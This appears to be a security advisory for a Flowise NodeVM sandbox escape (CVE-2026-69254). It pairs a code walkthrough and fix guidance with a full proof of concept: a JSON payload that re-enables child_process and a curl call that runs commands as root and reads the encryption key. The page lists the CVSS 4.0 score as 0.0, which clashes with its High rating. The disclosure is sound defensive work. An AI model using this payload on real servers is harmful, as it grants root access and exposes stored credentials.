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GHSA-3769-jgqc-cxm7 CVE-2026-69254

Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override

High npm
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.69%
Chance of exploitation in the next 30 days. Higher than 52.83% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix
Available
2 packages have a fixed version

Description

Summary

A sandbox escape vulnerability in executeJavaScriptCode() allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided nodeVMOptions that override the default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like child_process and fs.

Details

The vulnerability is in packages/components/src/utils.ts at line 1755:

const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }

The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:

async (code, sandbox, options = {}) => {
    const { nodeVMOptions = {} } = options;
    // ...
    const defaultNodeVMOptions = {
        require: {
            builtin: builtinDeps,  // restricted allowlist — blocks child_process, fs, os, etc.
            mock: secureWrappers
        },
        eval: false,
        wasm: false
    }
    const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }  // ← VULN: caller overrides security settings
    const vm = new NodeVM(finalNodeVMOptions)
}

The spread operator allows any caller to override require.builtin with ["*"], which permits all Node.js built-in modules including child_process.

Taint 01: Route Registration
packages/server/src/routes/node-custom-functions/index.ts (line 8)

Taint 02: Controller
executeCustomFunction() passes req.body to service — packages/server/src/controllers/nodes/index.ts (line 90)

Taint 03: Service executeCustomNodeFunction() loads the customFunction node and calls init() with user-provided javascriptFunction — packages/server/src/utils/executeCustomNodeFunction.ts (line 49)

Taint 04: Sandbox Entry
Code runs inside NodeVM via executeJavaScriptCode() — packages/components/src/utils.ts (line 1760)

Taint 05: Escape Inside the sandbox, the attacker requires flowise-components/dist/src/utils.js by absolute path (bypassing the module allowlist), obtaining a reference to executeJavaScriptCode() itself

Taint 06: Override The attacker calls executeJavaScriptCode() with nodeVMOptions: { require: { builtin: ["*"] } }, which overrides the security defaults at line 1755: { ...defaultNodeVMOptions, ...nodeVMOptions }

Taint 07: RCE
Inside the nested VM, require("child_process") succeeds. Arbitrary commands execute as root.

PoC

Step 1: Start Flowise

docker run -d --name flowise-poc -p 3000:3000 \
  -e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \                                                                                                                                                                                         
  flowiseai/flowise:latest                                                                                                                                                                                                                 
                                                                                                                                                                                                                                           
# Wait ~30s for startup                                                                                                                                                                                                                    
curl http://localhost:3000/api/v1/version
# {"version":"3.1.1"}                                                                                                                                                                                                                      

Step 2: Obtain Bearer Token

Register an account, then create an API key:

# Register      
curl -s -X POST http://localhost:3000/api/v1/account/register \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"attacker@test.com","password":"Attack12345","name":"Attacker"}}'                                                                                                                                                   
                                                                                                                                                                                                                                           
# Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create)                                                                                                                                                      
# Copy the key — this is the Bearer token used below.                                                                                                                                                                                      

Step 3: Create Payload

cat > exploit.json << 'EOF'
{
  "javascriptFunction": "const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\"child_process\"); cp.execSync(\"id > /tmp/RCE-PROOF.txt\");    
return cp.execSync(\"id\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\"*\"] } } })"                                                                                          
}                                                                                                                                                                                                                                          
EOF                                                                                                                                                                                                                                        

Step 4: Exploit

# Pre-check: file does not exist
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt                                                                                                                                                                                           
# ls: /tmp/RCE-PROOF.txt: No such file or directory                                                                                                                                                                                        
                                                                                                                                                                                                                                           
# Execute                                                                                                                                                                                                                                  
curl -X POST http://localhost:3000/api/v1/node-custom-function \
  -H "Content-Type: application/json" \                                                                                                                                                                                                    
  -H "Authorization: Bearer <TOKEN>" \
  -d @exploit.json                                                                                                                                                                                                                         
# "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\n"                                                                                                                                                             
                                                                                                                                                                                                                                           
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt                                                                                                                                                                                           
# -rw-r--r--  1 root  root  138 Apr  2 05:02 /tmp/RCE-PROOF.txt                                                                                                                                                                            
                                                                                                                                                                                                                                           
docker exec flowise-poc cat /tmp/RCE-PROOF.txt                                                                                                                                                                                             
# uid=0(root) gid=0(root) groups=0(root)...                                                                                                                                                                                                
                                                                                                                                                                                                                                           
docker exec flowise-poc cat /root/.flowise/encryption.key
# GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb                                                                                                                                                                                                         

<img width="1919" height="1033" alt="image" src="https://github.com/user-attachments/assets/3a2473f0-75a7-4c01-8c9d-9c758cf957fc" />

Impact

Full remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at /root/.flowise/encryption.key (which
decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at /root/.flowise/jwt_auth_token_secret.key (which allows forging authentication tokens for any user), and establish persistent access via cron jobs or reverse shells. All Flowise deployments running >= 3.0.5 through 3.1.1 (latest) are affected.

Affected versions

npm

PackageVulnerableFixed in
flowise
< 3.1.3
3.1.3
flowise-components
< 3.1.3
3.1.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

flowise npm → 3.1.3

npm
npm install flowise@3.1.3
yarn
yarn add flowise@3.1.3
pnpm
pnpm add flowise@3.1.3

flowise-components npm → 3.1.3

npm
npm install flowise-components@3.1.3
yarn
yarn add flowise-components@3.1.3
pnpm
pnpm add flowise-components@3.1.3

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
High
Availability (subsequent systems)
High

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-w7x8-q2gp-5cgg
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
Critical Also affects flowise
GHSA-9gvv-qjj3-2p6g
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
High Also affects flowise
GHSA-qgvm-j2hm-6m38
Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service
Critical Also affects flowise
GHSA-5xvg-pmgg-3mxr
Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability
Critical Also affects flowise
GHSA-gmmw-qg98-6j6p
Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation
High Also affects flowise
GHSA-8gj2-2cvc-6xx7
Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials
Medium Also affects flowise
GHSA-fm2f-4339-4p2f
Flowise: Missing Authorization on Execution Update Endpoint
Medium Also affects flowise
GHSA-wch5-xp77-fxg4
Flowise: Cross-Workspace OAuth2 Credential Metadata Leak
High Also affects flowise
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